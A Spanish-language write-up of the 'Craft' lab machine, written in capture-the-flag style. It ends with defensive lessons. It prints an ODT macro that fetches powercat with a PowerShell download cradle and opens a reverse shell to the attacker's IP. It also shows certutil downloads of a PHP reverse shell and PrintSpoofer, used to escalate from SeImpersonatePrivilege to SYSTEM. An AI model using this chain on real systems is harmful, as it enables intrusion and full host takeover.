Craft
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Craft solo expone un puerto 80 con un formulario que acepta ficheros ODT. Subimos un documento de LibreOffice con una macro Basic ligada al evento Open Document que se autoejecuta y nos da shell comocraft\thecybergeek(macro RCE). Como ese usuario puede escribir en elhtdocsde XAMPP, dejamos un PHP que ejecuta el servidor Apache y pivotamos acraft\apache(subida de archivos). Esa cuenta de servicio tieneSeImpersonatePrivilege, así que PrintSpoofer (PrintSpoofer, familia Potato) nos lleva ant authority\system.
Reconocimiento
Escaneo inicial
TTL 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido completo solo encuentra un puerto abierto:
ping -c 1 192.168.123.169
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.123.169PORT STATE SERVICE
80/tcp open httpnmap -p80 -sCV 192.168.123.169 -oN targetedScanPORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 125Toda la superficie de ataque está en el 80. El reconocimiento de servicios falla con el ping por defecto (la máquina no responde a ICMP en ese momento), pero el puerto está vivo: hay que tirar de enumeración web.
HTTP - TCP 80
Lanzamos dirsearch filtrando el ruido de códigos no útiles:
dirsearch -u http://192.168.123.169/ -t 200 --exclude-status=404,403,521,401,302,503301 /js -> /js/
301 /assets -> /assets/
200 /cgi-bin/printenv.pl
200 /upload.php
200 /uploads/
301 /uploads -> /uploads/Hay un /upload.php y un directorio /uploads/ listable. La combinación subir + servir es el patrón clásico de RCE por subida de archivos, así que lo investigamos.
Explotación
El formulario solo acepta ODT
La página "Join Us" es un formulario de subida de currículos. El primer instinto es subir una webshell PHP:

Pero el formulario la rechaza: valida el tipo de fichero y exige un documento ODT (el formato de LibreOffice/OpenOffice Writer):

Que pida un ODT cambia el vector. Los documentos de LibreOffice pueden incrustar macros Basic, y una macro ligada al evento de apertura se ejecuta del lado de quien abre el documento. Si en el servidor hay un proceso que abre los ODT subidos, una macro nos da ejecución de comandos (macro RCE).
Construir el ODT armado
Creamos un documento vacío y lo abrimos con LibreOffice Writer (la barra "Macros disabled" es solo la advertencia por defecto):
touch testt.odt
libreoffice testt.odt
Abrimos el editor de macros por Herramientas > Macros > Editar macros (submenú Organize Macros > Basic):

Creamos un módulo nuevo dentro del propio documento (así viaja con el ODT):

Y escribimos una rutina Main que lance una reverse shell con powercat. La macro descarga powercat.ps1 en memoria y abre la conexión hacia nuestro listener:

Sub Main
shell("cmd /c powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.45.244/powercat.ps1');powercat -c 192.168.45.244 -p 135 -e powershell")
End SubLa pieza que lo convierte en autoejecutable es ligar la macro al evento Open Document. La opción no está donde se espera: no cuelga del submenú de macros sino del final del menú Tools, en Customize, la última entrada antes de Options.

Tools
Spelling... F7
Macros >
Development Tools
XML Filter Settings...
Customize...
Options... Alt+F12Desde ahí, en Personalizar > Eventos asignamos nuestra macro Main (dentro de testt.odt > command_injection) al evento Open Document: así, en cuanto el servidor abra el ODT, la macro se dispara sin interacción:

Subir el ODT y recibir shell
Descargamos powercat.ps1, lo servimos por HTTP y dejamos un nc a la escucha en el 135:
wget https://raw.githubusercontent.com/besimorhino/powercat/refs/heads/master/powercat.ps1
python3 -m http.server 80
rlwrap nc -nlvp 135
Subimos el testt.odt por el formulario:

Cuando el proceso del servidor abre el documento, la macro descarga powercat (se ve el GET /powercat.ps1 200 en el servidor) y conecta contra nuestro listener. Obtenemos shell como craft\thecybergeek:

192.168.122.169 - - [18/Jan/2026 14:56:11] "GET /powercat.ps1 HTTP/1.1" 200 -
connect to [192.168.45.177] from (UNKNOWN) [192.168.122.169] 50077
PS C:\Program Files\LibreOffice\program> whoami
craft\thecybergeekPost-explotación
Local
type local.txt; ipconfig; whoami; hostname
577a248ea0686fac1d250145cee9e76a
craft\thecybergeekPivote a apache: webshell en el htdocs de XAMPP
El usuario thecybergeek no tiene privilegios interesantes. Enumerando C:\Users vemos que hay una cuenta apache, lo que sugiere que el servidor web corre bajo su propia identidad:

En la raíz del disco está la instalación de XAMPP, y su árbol incluye htdocs:

C:\xampp\htdocs es la raíz web y es escribible por nuestra cuenta. Listamos el directorio y vemos el upload.php original junto a uploads/:

Si dejamos ahí un PHP, lo ejecuta el proceso de Apache, que corre con su propia cuenta de servicio. Para la reverse shell PHP tiramos de revshells.com con la plantilla PHP Ivan Sincek y el puerto 445:

Guardamos la plantilla como rev.php, la traemos con certutil al htdocs y confirmamos que aterriza:
certutil.exe -f -urlcache http://192.168.45.244/rev.php rev.php
Al visitar http://192.168.123.169/rev.php el servidor ejecuta el código y nuestro listener recibe la conexión como craft\apache:

SOCKET: Shell has connected! PID: 684
Microsoft Windows [Version 10.0.17763.2029]
C:\xampp\htdocs>whoami
craft\apacheEscalada: SeImpersonate + PrintSpoofer
La cuenta de servicio apache sí tiene el privilegio que buscábamos:
whoami /priv
Privilege Name Description State
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects EnabledSeImpersonatePrivilege habilitado es la entrada de la familia Potato: una cuenta de servicio con este privilegio puede impersonar el token de un proceso SYSTEM que coaccionamos a conectarse a un named pipe nuestro (abuso de SeImpersonate). Sobre Server 2019, PrintSpoofer (repo) abusa del servicio de cola de impresión para forzar esa conexión y suele funcionar donde JuicyPotato ya está mitigado (PrintSpoofer). Lo servimos por HTTP y lo traemos:
locate printspoofer.exe; cp <ruta>/printspoofer.exe .
python3 -m http.server 8080
$ locate printspoofer.exe
/proving_grounds/nagoya/exploits/printspoofer.exe
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...certutil.exe -f -urlcache -split http://192.168.45.244:8080/printspoofer.exe printspoofer.exe
.\printspoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
C:\Windows\system32>whoami
nt authority\systemProof
type proof.txt & ipconfig & hostname & whoami
d7ff8fe40201d014f2818bf9fc7e31d9
nt authority\systemCadena de ataque
HTTP (80) -- /upload.php acepta solo ODT (rechaza PHP)
│ macro Basic ligada a "Open Document" en el ODT -> powercat
▼
shell como craft\thecybergeek (local.txt)
│ C:\xampp\htdocs escribible -> rev.php ejecutado por Apache
▼
shell como craft\apache
│ SeImpersonatePrivilege Enabled -> PrintSpoofer
▼
nt authority\system (proof.txt)Lecciones aprendidas
- Validar la extensión no valida el contenido. El formulario rechazaba PHP y solo aceptaba ODT, pero un ODT no es inocuo: incrusta macros que se ejecutan al abrirlo. Filtrar por tipo de fichero sin considerar qué hace ese tipo deja la puerta abierta.
- La autoejecución vive en el evento, no en la macro. Escribir la macro no basta; lo que la vuelve un arma es ligarla al evento Open Document. Así el simple hecho de que el servidor abra el ODT dispara el código sin interacción.
- Un mismo host puede dar varias identidades. Pasamos de
thecybergeekaapachesimplemente dejando un fichero en elhtdocsque el servidor web ejecuta con su propia cuenta. Las rutas escribibles servidas por un servicio son una vía de pivote clásica. SeImpersonatePrivilegeen cuentas de servicio = SYSTEM. Apache lo tenía por diseño; PrintSpoofer lo convirtió en escalada total. En Server 2019 es la variante preferida frente al ya mitigado JuicyPotato.